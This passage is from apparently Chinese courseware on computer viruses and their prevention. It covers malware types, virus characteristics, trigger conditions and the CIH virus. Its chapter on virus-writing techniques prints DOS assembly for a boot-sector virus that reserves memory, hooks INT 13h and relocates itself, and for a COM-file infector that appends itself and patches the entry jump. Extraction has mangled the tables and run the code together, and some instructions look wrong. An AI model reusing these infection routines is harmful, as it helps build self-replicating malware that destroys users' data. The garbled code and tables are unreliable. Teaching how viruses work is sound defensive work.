版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
病毒及其防治第1页,课件共164页,创作于2023年2月计算机病毒是恶意程序的一种。所谓恶意程序,是指一类特殊的程序,它们通常在用户不知晓也未授权的情况下潜入到计算机系统中来。恶意程序可以分为许多类型。图1.1为按照有无自我复制功能和需要不需要宿主对恶意程序的分类情形。第2页,课件共164页,创作于2023年2月
陷门(TrapDoors)是进入程序的一些秘密入口。陷门中有些是程序员为了进行调试和测试而预留的一些特权,有些则是系统漏洞。黑客也挖空心思地设计陷门,以便以特殊的、不经授权的方式进入系统。陷门通常寄生于某些程序(有宿主),但无自我复制功能。逻辑炸弹是嵌入某些合法程序的一段代码,没有自我复制功能,在某些条件下会执行一个有害程序,造成一些破坏。特洛伊木马是计算机网络中一种包含有害代码的有用或表面上有用的程序或过程,激活时产生有害行为。它们不具备自我复制功能。
第3页,课件共164页,创作于2023年2月
细菌是以自我繁殖为主要目的的程序。蠕虫是一种通过网络自我复制的恶意程序。通常人们也把它称为病毒的一种。因为,蠕虫一旦被激活,可以表现得像细菌和病毒,可以向系统注入特洛伊木马,或进行任何次数的破坏或毁灭行动。典型的蠕虫只会在内存维持一个活动副本。此外,蠕虫是一个独立程序,自身不改变任何其他程序,但可以携带具有改变其他程序的病毒。其中,计算机病毒是所有计算机用户在计算机安全问题上,经常碰到的问题。在1999年SecurityPoral的报告中,排在计算机安全问题第一位的是计算机病毒事件,其次是与计算机病毒关系极为密切的黑客问题。所以本章以病毒为主,介绍恶意程序的特点及其防治。
第4页,课件共164页,创作于2023年2月2.1计算机病毒的概念返回第5页,课件共164页,创作于2023年2月2.1.1计算机病毒的定义
人类发明了工具,改变了世界,也改变了人类自己。自20世纪40年代起,计算技术与电子技术的结合,使推动人类进步的工具从体力升华到了智力。计算机的出现,将人类带进了信息时代,使人类生产力进入了一个特别的发展时期。
计算机的灵魂是程序。正是建立在微电子载体上的程序,才将计算机的延伸到了人类社会的各个领域。“成也萧何,败也萧何”。人的智慧可以创造人类文明,也可以破坏人类已经创造的文明。随着计算机系统设计技术向社会各个领域急剧扩展,人们开发出了将人类带入信息时代的计算机程序的同时,也开发出了给计算机系统带来副作用的计算机病毒程序。第6页,课件共164页,创作于2023年2月
在生物学界,病毒(virus)是一类没有细胞结构但有遗传、复制等生命特征,主要由核酸和蛋白质组成的有机体。在《中华人民共和国计算机信息系统安全保护条例》中,计算机病毒(ComputerVirus)被明确定义为:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据、影响计算机使用,并且能够自我复制的一组计算机指令或者程序代码”。第7页,课件共164页,创作于2023年2月2.1.2计算机病毒的特征计算机病毒有一些与生物界中的病毒极为相似的特征,这也就是所以称其为病毒的缘由。这些特征有如下一些。1.传染性和衍生性病毒也是一种程序,它与其他程序的显著不同之处,就是它的传染性。与生物界中的病毒可以从一个生物体传播到另一个生物体一样,计算机病毒可以借助各种渠道从已经感染的计算机系统扩散到其他计算机系统。第8页,课件共164页,创作于2023年2月2.潜伏性和隐蔽性计算机病毒通常是由技术高超者编写的比较完美的、精巧严谨、短小精悍的程序。它们常常按照严格的秩序组织,与所在的系统网络环境相适应、相配合。病毒程序一旦取得系统控制权,可以在极短的时间内传染大量程序。但是,被感染的程序并不是立即表现出异常,而是潜伏下来,等待时机。除了不发作外,计算机病毒的潜伏还依赖于其隐蔽性。为了隐蔽,病毒通常非常短小(一般只有几百或1K字节,此外还寄生于正常的程序或磁盘较隐蔽的地方,也有个别以隐含文件形式存在,使人不经过代码分析很难被发觉。
第9页,课件共164页,创作于2023年2月3.寄生性(1)病毒的寄生场所寄生是病毒的重要特征。计算机病毒一般寄生在以下地方:(a)寄生在可执行程序中。一旦程序执行,病毒就被激活,病毒程序首先被执行并常驻内存,然后置触发条件。感染的文件被执行后,病毒就会趁机感染下一个文件。文件型病毒可以分为源码型病毒、嵌入型病毒和外壳型病毒。源码型病毒是用高级语言编写的,不进行编译、链接,就无法传染扩散。嵌入型病毒是嵌入在程序的中间,只能针对某些具体程序。外壳型病毒寄生在宿主程序的前面或后面,并修改程序的第1条指令,使病毒先于宿主程序执行,以便一执行宿主程序就传染一次。
第10页,课件共164页,创作于2023年2月(b)寄生在硬盘的主引导扇区中。这类病毒也称引导型病毒。任何操作系统都有自举过程,自举依靠引导模块进行,而操作系统的引导模块总是放在某个固定位置,这样系统每次启动就会在这个固定的地方来将引导模块读入内存,紧接着就执行它,来把操作系统读入内存,实现控制权的转接。引导型病毒程序就是利用这一点,它自身占据了引导扇区而将原来的引导扇区的内容和病毒的其他部分放到磁盘的其他空间,并将这些扇区标志为坏簇,不可写其他信息。这样,系统的一次初始化,就激活一次病毒,它首先将自身拷贝到内存,等待触发条件到来。
第11页,课件共164页,创作于2023年2月引导型病毒按其寄生对象,可以分为MBR(主引导区)病毒和BR(引导区)病毒。MBR病毒也称分区病毒,这类病毒寄生在硬盘分区主引导程序所占据的硬盘0头0柱面第1扇区,典型的有Stoned(大麻)病毒、2708病毒等。BR病毒则寄生在硬盘逻辑0扇区或软盘0扇区(即0面0道的第1扇区),典型的有Brain病毒、小球病毒等。
第12页,课件共164页,创作于2023年2月(2)计算机病毒的寄生方式(a)替代法:病毒程序用自己的全部或部分代码,替代磁盘引导扇区或文件中的全部或部分内容。(b)链接法:病毒程序将自身代码作为正常程序的一部分与原有正常程序链接在一起。链接的位置可能在正常程序的首部、尾部或中间。
第13页,课件共164页,创作于2023年2月4.触发性潜伏下来的计算机病毒一般要在一定的条件下才被激活,发起攻击。病毒具有判断这个条件的功能。
第14页,课件共164页,创作于2023年2月5.非授权执行性用户在调用一个程序时,常常就把系统的控制权交给这个程序并给它分配相应的系统资源,使程序的执行对用户是透明的。计算机病毒具有正常程序所具有的一切特性,它隐蔽在合法程序和数据中;当用户运行正常程序时,病毒伺机取得系统的控制权,先于正常程序执行,并对用户呈透明状态。
第15页,课件共164页,创作于2023年2月6.破坏性计算机病毒的设计者进行病毒程序设计的目的就是为了攻击破坏。第16页,课件共164页,创作于2023年2月2.1.3计算机病毒的结构计算机病毒的种类很多,但是它们的主要结构是类似的,一般需要包含4部分:引导部分、传染部分、表现部分和破坏部分。(1)引导部分:就是病毒程序的初始化部分。它的作用是将病毒的主体加载到内存,为传染部分做准备(如驻留内存、修改中断、修改高端内存、保存原中断向量等操作)。(2)传染部分:作用是将病毒代码复制到传染目标上去。传染需要一定的条件。不同类型的病毒在传染方式、传染条件上各不相同。进行传播之前,先要判断传染条件。(3)表现部分:作用是在被传染系统上表现出特定现象。大部分病毒都是在一定条件下才会触发表现部分的。(4)破坏部分:作用是产生破坏被传染系统的行为。
第17页,课件共164页,创作于2023年2月2.2计算机病毒原理
返回第18页,课件共164页,创作于2023年2月2.2.1计算机病毒的引导过程计算机病毒的引导过程一般分为三步:驻留内存、窃取控制权和恢复系统功能。1.驻留内存病毒要发挥其破坏作用,多数要驻留内存。为了驻留内存,就必须开辟内存空间或覆盖系统占用的部分内存空间。2.窃取控制权计算机病毒驻留内存后,接下来的工作是取代或扩充系统原有功能,并窃取系统的控制权。3.恢复系统功能计算机病毒窃取系统控制权后,就要开始潜伏等待,即根据其设计思想,隐蔽自己,等待时机,在条件成熟时,再进行传染和破坏。然而,病毒为了隐蔽自己,驻留内存后还要恢复系统,使系统不致死机。
第19页,课件共164页,创作于2023年2月2.2.2计算机病毒的触发机制下面例举一些病毒的触发(激活)条件。(1)日期/时间触发:计算机病毒读取系统时钟,判断是否激活。例如:PETER-2,在每年2月27日会提出3个问题,答错后会将硬盘加密。YankeeDoodle,在每天下午5时发作。“黑色星期五”,逢13日的星期五发作。“上海一号”,在每年的三、六、九月的13日发作。1998年2月,台湾省的陈盈豪,编写出了破坏性极大的Windows恶性病毒CIH-1.2版,并定于每年的4月26日发作破坏,然后,悄悄地潜伏在网上的一些供人下载的软件中。可是,两个月的时间,被人下载的不多,到了4月26日,病毒只在台湾省少量发作,并没引起重视。陈盈豪又炮制了CIH-1.3版,并将破坏时间设在6月26日。7月,又炮制出了CIH-1.4版。这次,他干脆将破坏时间设为每个月的26日。
第20页,课件共164页,创作于2023年2月(2)计数器触发:计算机病毒内部设定一个计数单元,对系统事件进行计数,判定是否激活。例如,2708病毒当系统启动次数达到32次时被激活,发起对串、并口地址的攻击。(3)键盘触发:当敲入某些字符时触发(如AIDS病毒,在敲如A、I、D、S时发作)、或以击键次数(如Devil’sDance病毒在用户第2000次击键时被触发)或组合键等为激发条件(如Invader病毒在按下Ctrl+Alt+Del键时发作)。(4)启动触发:以系统的启动次数作为触发条件。例如Anti-Tei和Telecom病毒当系统第400次启动时被激活。(5)感染触发:以感染文件个数、感染序列、感染磁盘数、感染失败数作为触发条件。例如,BlackMonday病毒在运行第240个染毒程序时被激活;VHP2病毒每感染8个文件就会触发系统热启动操作等。(6)组合条件触发:用多种条件综合使用,作为计算机病毒的触发条件。
第21页,课件共164页,创作于2023年2月1.2.3计算机病毒的传播计算机病毒的传播过程就是其传染过程。病毒的传染大体上有如下三个途径:1.文件传染传播病毒的文件可以分为三类:(1)可执行文件,即扩展名为.EXE,.PE,.SYS等的文件。(2)文档文件或数据文件,例如Word文档,Exel文档,Accss数据库文件。宏病毒(Macro)就感染这些文件。(3)Web文档,如.html文档和.htm文档。已经发现的Web病毒有HTML/Prepend和HTML/Redirect等。
第22页,课件共164页,创作于2023年2月文件传染可能采用如下一种方式:(1)驻留(Resident)复制:复制病毒装入内存后,发现另一个系统运行的程序文件后进行传染。(2)非驻留(Nonrresident)复制:病毒选择磁盘上一个或多个文件,不等它们装入内存,就直接进行感染。
第23页,课件共164页,创作于2023年2月2.引导扇区传染引导扇区病毒在系统初始化时自动装入内存,然后简单地将指令指针(指令计数器的内容)修改到一个存储系统指令的新的位置。于是便以普通方式启动,而病毒已经驻留在了内存。所以,不需要用户执行磁盘上任何被感染的程序,只要有访问磁盘的操作,就可以进行复制。
第24页,课件共164页,创作于2023年2月3.网络及电子邮件传播与文件传播和引导扇区传播不同,由于数据共享和相互协作网络传播的是病毒直接通过网络传染到目标机系统。
第25页,课件共164页,创作于2023年2月2.3计算机病毒编制的关键技术
返回第26页,课件共164页,创作于2023年2月2.3.1DOS引导型病毒编制的关键技术1.DOS系统的结构DOS系统由以下4部分组成:(1)引导记录(BootRecord)。用于将IO.SYS模块装入内存。第27页,课件共164页,创作于2023年2月(2)IO.SYS(DOS的基本输入输出模块BIOS),由下面两块组成:·
系统初始化程序SYSINIT,完成初始化工作,主要包括:确定系统设备配置和内存容量;初始化串、I/O并口;计算后面模块的装入位置并将MSDOS.SYS和COMMAND.COM装入内存;设置系统参数,加载设置驱动程序。·
标准字符和块设备驱动程,用于支持基本输入输出操作。(3)MSDOS.SYS(DOS的内核),提供应用程序管理、内存管理、文件管理等。(4)COMMAND.COM(DOS的外壳),是用户与操作系统的接口。
第28页,课件共164页,创作于2023年2月2.DOS磁盘的区域分配DOS格式化磁盘由4个区域组成:引导扇区(BootArea)——硬盘含有主引导扇区、文件分配表(FAT)、根目录表(RootDirectoryTable,FDT)和文件数据区(DataArea)。表1.1为DOS格式化磁盘的区域组成。其中;逻辑区号=[柱面号×总面积+面号]×每到扇区数+扇区号表1.1DOS格式化磁盘的区域组成。
360k软盘分布起始物理扇区20M硬盘分布逻辑扇区号对应区域头号柱面号扇区号逻辑扇区号对应区域01~45~1112~719
BOOT区FAT表根目录表数据区0111300011112161401~8283~114115~41598主引导区BOOT区FAT表根目录表数据区第29页,课件共164页,创作于2023年2月(1)主引导扇区,位于硬盘的0柱面0磁道1扇区,存放有主引导记录(MianBootRecord,MBR)和4个分区表(DiskPartitionTable,DPT)。图1.2为主引导扇区的结构。
区域信息内容0000H~00BAH主引导记录启动程序008BH~00D9H主引导记录启动字符串01DAH~01BDH空闲区01BEH~01CDH分区1结构信息01CEH~01DDH分区1结构信息01DEH~01FDH分区1结构信息01EEH~01FDH分区1结构信息01FEH~01FFH55AAH主引导记录有效标志
MBR的作用是检查分区表是否正确以及确定哪个分区为引导分区(要将控制权交给的操作系统所在分区),并在程序结束时把该分区的启动程序(即操作系统引导扇区)调入内存加以执行。
第30页,课件共164页,创作于2023年2月(2)引导扇区位于逻辑0扇区处(即软盘的0面0道1扇区,硬盘的DOS分区的1扇区)。在DOS的启动过程中,中断服务程序INT19H(自举程序)将引导记录
调入内存的0000H~7C00H处,并把控制权交给它。这时,引导记录将检查启动盘上是否有DOS系统,即根目录中的前两个文件是否为IO.SYS和MSDOS.SYS。若是,则把文件IO.SYS读入到内存的70H~0H处,并把主控制权交给IO.SYS;否则给出非系统盘的错误信息。
第31页,课件共164页,创作于2023年2月3.DOS的自举过程图1.3为DOS的自举过程。可以看出,在这个自举过程中,系统的控制权按照下面的顺序转移:ROMBIOS→DOS引导程序→IO.SYS→MSDOS.SYS→COMMAND.COM→用户
第32页,课件共164页,创作于2023年2月主引导记录程序的基本功能是读出自举分区的BOOT程序,并把控制权转移到分区BOOT程序。在这一过程中,关键性的技术有:(1)将本来要读入到0000:7C00H处的硬盘主引导记录程序转移到0000:0600H处。代码段如下:
第33页,课件共164页,创作于2023年2月偏移 机器码 符号指令 说明
0000 FA cli ;屏蔽中断0001 33C0 xorax,ax ;0003 8ED0 movss,ax ;(ss)=0000H0005 BC007C movsp,7c00 ;(sp)=7C00H0008 8BF4 movsi,sp ;(si)=7C00H000A 50 pushax ;000B 07 popes ;(es)=0000H000C 50 pushax ;000D 1F popds ;(ds)=0000H000E FB sti ;000F FC cld ;0010 BF0006 movdi,0600 ;0013 890001 movcx,0100 ;0016 F2 repnz ;A5 movsw ;主引导程序把自己从0000:7c00处搬移到0000:0600处, ;为DOS分区的引导程序腾出空间
…
第34页,课件共164页,创作于2023年2月(2)顺序读入4个分区表的自举标志,以找出自举分区:若找不到,就转向执行INT18H的BOOT异常,执行异常中断程序。偏移 机器码 符号指令 说明001D BEBE07 movsi,07be ;分区表首地址01BE=07BE-06000020 B304 movbl,04 ;最多4个分区0022 803C80 cmpbyteptr[si],80 ;80H表示活动分区0025 740E jz0035 ;找到活动分区则跳走0027 803C00 cmpbyteptr[si],00 ;00H表示有效分区002A 751C jnz0048;非80H,也非00H,为无效分区002C 83C610 addsi,+10;下一个分区表项,每项16(10H)字节002F FECB decbl ;循环计数减10031 75EF jnz0022;检查下一个分区表项0033 CD18 int18 ;4个都不可引导,进入ROMBIOS0035 8B14 movdx,[si] 0037 8B4C02 movcx,[si+02];取分区的引导扇区的柱面、扇区活动003A 8BEE movbp,si;继续检查后面的分区表项003C 83C610 addsi,+10 …第35页,课件共164页,创作于2023年2月(3)找到自举分区后,检测该分区的标志:如果是32位或16位FAT,并支持13号中断的扩展功能,就转到执行13号中断的41号功能调用,进行安装检测;检测成功,就执行42号扩展功能调用,把BOOT程序读入到内存0000:7c00H处。读入成功,就执行0000:7c00H处的程序;读入失败,就调用13号中断的读扇区功能,把BOOT程序读入到内存0000:7c00H处。第36页,课件共164页,创作于2023年2月4.引导型病毒的传染过程引导型病毒制驻留在硬盘的主引导分区或硬/软盘的DOS引导分区的病毒。它的感染过程分两大步:装入内存和攻击。(1)装入内存过程:
第37页,课件共164页,创作于2023年2月1系统开机后,进入系统检测,检测正常后,从0面0道1扇区,即逻辑0扇区读取信息到内存的0000~7C00处:·
正常时,磁盘0面0道1扇区,即逻辑0扇区存放的是boot引导程序;·
操作系统感染了引导扇区病毒时,磁盘0面0道1扇区,即逻辑0扇区存放的是病毒引导部分,boot引导程序被放到其他地方。例如,大麻病毒在软盘中将原DOS引导扇区搬移到0道1面3扇区,在硬盘中将原DOS引导扇区搬移到0道0面7扇区;香港病毒则将原DOS引导扇区搬移到39磁道第8扇区;Michelangelo病毒在高密度软盘上,是第27扇区,在硬盘上是0道0面7扇区。
第38页,课件共164页,创作于2023年2月2系统开始运行病毒引导部分,将病毒的其他部分读入到内存的某一安全区,常驻内存,监视系统的运行。3病毒修改INT13H中断服务处理程序的入口地址,使之指向病毒控制模块并执行,以便必要时接管磁盘操作的控制权。4病毒程序全部读入后,接着读入正常boot内容到内存0000:7C00H处,进行正常的启动过程(这时病毒程序已经全不读入内存,不再需要病毒的引导部分)。5病毒程序伺机等待随时感染新的系统盘或非系统盘。
第39页,课件共164页,创作于2023年2月(2)攻击过程。病毒程序发现有可攻击的对象后,要进行下列工作:1将目标盘的引导扇区读入内存,判断它是否感染了病毒。2满足感染条件时,将病毒的全部或一部分写入boot区,把正常的磁盘引导区程序写入磁盘特定位置。3返回正常的INT13H中断服务处理程序,完成对目标盘的传染过程。
第40页,课件共164页,创作于2023年2月5.引导型病毒的编制技术个人计算机开机后,会先执行主引导区代码这一机制,给引导型病毒窃取第一控制权提供了机会。但是引导型病毒窃取控制权的时间只能是短暂的,然后就要引导DOS操作系统,否则就将败露。在窃取控制权的这段时间内,病毒的引导部分主要要做下列事情。(1)为病毒代码申请内存空间,为此要尽量减少DOS的存储空间。相关代码如下:…xorax,axmovess,axmovsp,7c00hmovds,axmovax,wordptrds:[413h] ;存放最大内存空间0000:0413subax,4 ;给病毒申请4kB的内存空间movds:[413h],ax…第41页,课件共164页,创作于2023年2月(2)修改传播需要的中断向量。相关代码如下:
…beginprocfarpushds ;axds:axsubax,ax ;pushax movax,code ;将代码段地址装入ds,esmovds,ax movex,ax movax,segctrl_c ;修改向量,ds:dx指向ctrl_c子程序movds,ax ;movdx,offsetctrl_c movah,25h ;调用号ah=25Hmoval,23h ;修改中断向量号al=23Hint21h ;系统调用指令
…第42页,课件共164页,创作于2023年2月(3)读入病毒的其他部分,进行病毒拼装(在内存高端):先从已经标记的簇中某扇区读入病毒的其他部分(这些簇往往被标记为坏簇),然后再读入原引导记录到0000:7C00H处,跳转执行。相关代码如下:
movcl,06h shlax,cl ;(ax)=8F80 addax,0840h ;(ax)=97c0 moves,ax movsi,7c00h ;(si)=7c00 movdi,si movcx,0100h repzmovsw ;将病毒移到高端v2: pushax popds pushaxmovbx,7c4bh pushbx ret ;指令执行转入高端内存
callv3第43页,课件共164页,创作于2023年2月v3:xorah,ah ;(ah)=0int13h ;13H中断调用movah,80handbyteptrds:[7df8h],al;v4:movbx,wordptrds:[7df9h];读入病毒的其他部分pushcspopax ;(ax)=97c0subax,20h ;(ax)=97c0moves,ax ;(es)=97c0callv9movbx,wordptrds:[7df9h];加载逻辑扇区号incbx ;bx++是引导扇区movax,0ffc0h ;ffc0:8000=0000:7c00读入原引导分区内容第44页,课件共164页,创作于2023年2月
moves,ax callv9 xorax,ax ;(ax)=0 movbyteptrds:[7df7h],al;标志清0v5: movds,ax ;(ds)=0 movax,wordptrds:[4ch] movbx,wordptrds:[4ch] ;修改中断向量
movwordptrds:[4ch],7cd6h movwordptrds:[4ch],cs;新int13H中断已修改
pushcs popds ;(ds)=(cs) movwordptrds:[7d30h]:ax;保存原来的int13H中断向量
movwordptrds:[7d32h]:bx;v6: movdl,byteptrds:[7df8h];加载驱动器盘符v7: jmp0000:7c00 ;跳转db0eah,00h,7ch,00h,00h ;跳转指令的二进制代码第45页,课件共164页,创作于2023年2月(4)读入原主引导分区,转去执行DOS的引导工作。
第46页,课件共164页,创作于2023年2月2.3.2COM文件型病毒编制的关键技术1.COM文件的特点这里,文件型病毒主要指DOS操作系统下的COM和EXE文件。首先介绍COM文件病毒程序的编制技术。COM文件具有如下特点:(1)COM文件的存储代码与内存映像完全相同COM文件是在DOS外壳上直接运行处理器指令和内存数据。为此,在COM文件中要包含COM程序的一个绝对映像(如图1.4所示),并且MS-DOS要把该映像直接拷贝到内存加载COM程序,而不做任何改变。
第47页,课件共164页,创作于2023年2月第48页,课件共164页,创作于2023年2月(2)COM文件的长度不能超过65024字节。COM文件是一种单段执行结构。如图1.4所示,它要被分配在一个64k字节的空间中。这个空间中除了要存放COM文件外,还要存放一个程序段前缀PSP和一个起始堆栈。而PSP的大小为256字节,起始堆栈的最小空间为256字节,所以COM文件最大不能超过65024字节。(3)COM文件的第1条指令必须是程序的入口点。
第49页,课件共164页,创作于2023年2月2.COM文件的加载和启动(1)分配内存:尽可能多地分配内存空间。在DOS运行另一个程序或分配另外的内存空间时,COM将释放不需要的空间。(2)分配内存成功后,DOS建立一个PSP。如果PSP的第1个FCB含有一个有效驱动器标识符,即置AL为00H;否则置AL为0FFH(3)在PS后面(偏移100H)加载COM文件,同时置SS、DS和ES为PSP的段地址。(4)建立堆栈。DOS通过把控制权传递给偏移100H处的指令启动程序。
第50页,课件共164页,创作于2023年2月3.可执行文件病毒的传染过程(1)文件病毒在宿主文件(.com或.exe)被执行时,驻留内存;(2)病毒开始监视系统运行,等待被传染目标出现;(3)病毒检测可执行文件的特定地址的标识位,判断该文件是否感染了病毒;(4)发现了被感染目标后,利用INT13H将病毒链接到可执行文件的首部、尾部或中间,并存入磁盘中;(5)完成感染后,继续监视系统的运行,寻找新的目标。
第51页,课件共164页,创作于2023年2月4.文件型病毒程序编制技术文件型病毒可以加在COM文件的前部,也可以加在COM文件的尾部。不管加在何处,都可以利用COM文件的第一条指令是程序的入口点,使启动COM程序前先执行病毒程序。方法就是对程序开始处的指令进行修改。例如,病毒程序加在最后,就应当把程序开始处的指令修改成一条跳转指令,跳转到病毒所在的位置。等病毒程序执行完,再把控制权交还给COM程序。当然,实际做的工作并不这么简单。下面是感染COM文件的典型病代码。(1)修改了的文件头部代码cs:0100jmpendOfFile;db0e9h,0100h处为COM文件原来入口 ;dwCOM文件实际大小 ;endOfFile文件尾(加入病毒的位置)第52页,课件共164页,创作于2023年2月(2)在COM文件的尾部的病毒代码部分…endOfFile:virusStart: ;病毒代码
movax,orgcode mov[100],ax moval,[orgcode+2] mov[102],alvirusSize=$-virusStartresume:jmp100 ;db0e9h ;dw–(COM文件实际大小+病毒代码大小)
orgcodedb3dup(?);原文件由0100开始的3个字节第53页,课件共164页,创作于2023年2月(3)代码的进一步完善病毒要感染COM文件,需要进行的工作有:·
首先要把开始的3字节保存到orgcode中,更改为0e9h;·
更改文件实际大小;·
将resume开始的3字节改为:0e9h-(COM文件实际大小+病毒代码大小);·
将病毒代码写到COM文件尾部;·
进行感染的判断和文件大小的判断。假设:DS:DX指向VirusSize;VirusStart的定义如上。
;保存开始的4字节并改写db90h,0e9h ;0e990h为感染标志dwsizeofcom
第54页,课件共164页,创作于2023年2月感染代码:…movax,3d01hint21h ;为读写打开jcOpenErrorpushdxxchgax,bxmovax,4202hxorcx,cxint21h ;移到文件尾ordx,dxjnzcomplete ;大于4字节的文件不感染cmpax,ofeeeh-ViusSIze-11jnbcompletecmpax,4jbcomplete ;小于4字节的文件也不感染movdi,offsetorgcodemov[di+6],ax第55页,课件共164页,创作于2023年2月add[di+6],VirusSize ;产生替换代码movax,4200hxorcx,cxxordx,dxint21h ;移到文件头movcx,4movdx,dimovah,3fhint21h ;读出4个字节jccompletecmpwordptr[di],0e990h ;如果没有感染,则 ;nop ;jmpXXXXjzcompletemovcx,4addah,40hint21h;在文件头部写4个字节
第56页,课件共164页,创作于2023年2月movax,4202hxorcx,cxxordx,dxint21h ;移到文件尾
movah,40hmovdx,VirusSize+11int21h ;写入病毒代码到COM文件中complete:movah,3fhint21h ;关闭文件ErrorOpen:…第57页,课件共164页,创作于2023年2月2.3.3Win32PE病毒编制的关键技术1.Win32PE文件格式Win32PE文件就是Win32(Windows95/98/2000/XP)环境下的PE格式(PortableExecutableFormat)的可执行文件。为了了解病毒对它的感染机理,首先介绍PE文件的结构和运行机制。PE文件的格式如图1.5所示。
第58页,课件共164页,创作于2023年2月第59页,课件共164页,创作于2023年2月(1)所有的PE文件必须以一个简单的DOSMZ头开始。(2)接着是一个极小(几百个字节)的DOS程序DOSstub,用于输出警告,如“该程序不能在DOS模式下运行”。当Win32把一个PE文件映像加载到内存时,内存映像文件的第一个字节对应到DOSStub的第一个字节。(3)再接着是作为PE文件标志的1024字节的PE头。执行体在支持PE文件的操作系统中执行时,PE装载器将从DOSMZ头中找到PE头的偏移量。(4)PE文件的内容部分由一些称为段的块组成。每段是一块具有共同属性的数据。段数写在段表中。
第60页,课件共164页,创作于2023年2月(5)PE文件的装载过程1PE文件被执行时,PE装载器检查DOSMZ头中的PE头骗移量。找到了,就跳转到PE头。2PE检查器检查PE头的有效性。有效,就跳转到PE头的尾部。3读取段表中的信息,通过文件映射,将段映射到内存,同时附上段表中指定的段的属性。4PE文件映射到内存后,PE装载器处理PE文件中的有关逻辑。
第61页,课件共164页,创作于2023年2月2.Win32PE病毒原理一个Win32PE病毒需要具有如下一些功能。(1)重定位定位主要指程序中数据的内存存储位置。对于正常的程序来说,数据的内存存储位置在编译时就已经计算好了,程序装入内存时不需要对它们重定位。病毒可能依附在宿主程序的不同位置,当病毒随着宿主程序装载到内存后,病毒中数据的位置也会随之发生变化。由于指令是通过地址引用数据的,地址的不准确将导致病毒程序的不正确执行。为此,有必要对病毒代码中的数据进行重定位。
第62页,课件共164页,创作于2023年2月(2)获取API函数地址在Win32环境中,系统功能调用不是通过中断实现,而是通过调用API函数实现。因此,获取API函数的入口地址非常重要。但是,Win32PE病毒与普通的Win32PE程序不同:普通的Win32PE程序里有一个引入函数节,程序通过这个节可以找到代码段中所用的API函数在动态链接库中的真实地址。调用API函数是,可以通过该引入函数表找到相应API函数的真正执行地址。但是,Win32PE病毒只有一个代码段,并不存在引入函数节,因此不能直接用真实地址调用API函数。所以获取API地址是病毒的一个重要技术。
第63页,课件共164页,创作于2023年2月1首先获取Kernel32的基地址当系统打开一个可执行文件时,会调用Kernel32.dll中的CreateProcess函数。CreateProcess函数在完成装载应用程序后,先要将一个返回地址压入堆栈顶,然后转向那个要装载的应用程序。这个应用程序结束后,就将这个地址数据弹出到EIP中,继续执行。因此,要获得API函数地址,首先要获得Kernel32的基地址。例如利用程序的返回地址,在其附近搜索Kernel32模块的基地址。2由已知API函数序列号或仅知的函数名,搜索API函数地址的过程
第64页,课件共164页,创作于2023年2月(3)搜索目标文件通常通过两个API函数FindFirstFile和FindNextFile实现。(4)内存文件映射使用内存文件映射进行文件读写。(5)感染其他文件(6)返回到宿主程序。
第65页,课件共164页,创作于2023年2月3.Win32PE病毒实例——CIH病毒CIH病毒以Win32PE文件为攻击对象。它开创了直接攻击、破坏硬件的先例,发作时破坏FlashBIOS芯片中的系统程序,导致主板损坏,造成部分厂家的主板开机后无反应;同时,使硬盘驱动器不停地转动,病毒以2048个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘中的全部数据被破坏。
第66页,课件共164页,创作于2023年2月(1)CIH病毒的基本特点·
CIH病毒很短,CIHv1.2只有1003个字节。·
可以绕过Windows的应用程序界面,绕过ActiveX、C++和C,使用汇编,利用虚拟设备驱动程序VxD,直接进入Windows内核。·
采用碎洞攻击技术,将病毒化整为零,插入到宿主文件中,因而不改变宿主文件大小。·
利用多数BIOS芯片开放可重用性的特点,可以向计算机主板的BIOS端口写如乱码。第67页,课件共164页,创作于2023年2月(2)CIH病毒驻留程序的驻留过程一旦要执行带有CIH病毒的EXE文件,由于病毒修改了该文件程序的入口地址,使调入内存执行的是病毒的驻留程序(长184字节)。驻留的主要过程如下:1.取得IDT(中断描述符)的基地址。2.把IDT的INT3的入口地址改为指向CIH自己的INT3入口,以获得最高级别(Ring0级)的Windows权限(可以在Windows内核执行各种操作,如终止系统运行、直接对内存读写、截获各种中断、控制I/O端口等)。
第68页,课件共164页,创作于2023年2月3执行INT3指令,进入自身的INT3入口程序。具体工作为:a检查调式寄存器DR0的值,判断CIH病毒是否已经驻留:·
不为0,表示CIH病毒已经驻留,要恢复原先的INT3入口,把控制权交给Windows;·
为0,表示尚未驻留,CIH病毒将尝试驻留。b将当前EBX寄存器的值赋给DR0寄存器,生成驻留标志。c调用INT20中断,请求系统分配两页Windows内存,以便程序长期驻留内存。d内存申请成功,将破碎的病毒程序收集起来,组合后放到申请到的内存空间中。e调用INT3入口程序,调用INT20,在windows内核的文件处理函数中挂接钩子,以截取文件调用操作,以便病毒的传染部分能在第一时间截获要求开启的文件调用。f将同时截获的核心文件输入/输出服务程序的入口地址保存到RD0寄存器中,以便CIH病毒调用。g驻留成功,恢复宿主文件正常入口,执行宿主程序:·
恢复原来的IDT中断表中的INT3入口,退出INT3;·
根据病毒程序隐藏的原文件的正常入口地址,跳到原来文件的正常入口。
第69页,课件共164页,创作于2023年2月(3)CIH病毒的感染过程CIH病毒的传染是通过病毒驻流内存过程中,调用Windows内核底层的IFSMgr_InstallFileSystemApiHook函数挂接钩子时,指针指示的程序段实现。这段程序长586字节。大致过程如下:1文件截获:调用INT20的VxDcallUniToBCSPath系统功能调用,取回系统要开启的文件的文件名和路径。2EXE文件判断:非EXE文件,不感染,离开病毒程序,跳回Windows内核的正常文件处理程序。3PE格式判断:取出文件标识符进行分析,若Signature=“00455000(OOPE00)”且未感染,就对其感染;否则,只发作。
第70页,课件共164页,创作于2023年2月4寄生计算:CIH病毒利用PE格式文件的文件头和各个区都可能存在自由空间碎片,将病毒程序拆分成若干大小不等的块,见缝插针地插到宿主文件的不同区内。首先要技术计算有无可以存放病毒首块的空间。没有这样的空间就不感染。病毒首块包括:·
病毒块链表指针区:8×(区数+1)字节,存放每个病毒块的首地址(每块4字节)及其长度(每块4字节);·184字的病毒驻留程序。接着将整个病毒读入内存,按PE文件的各区进行计算分配。
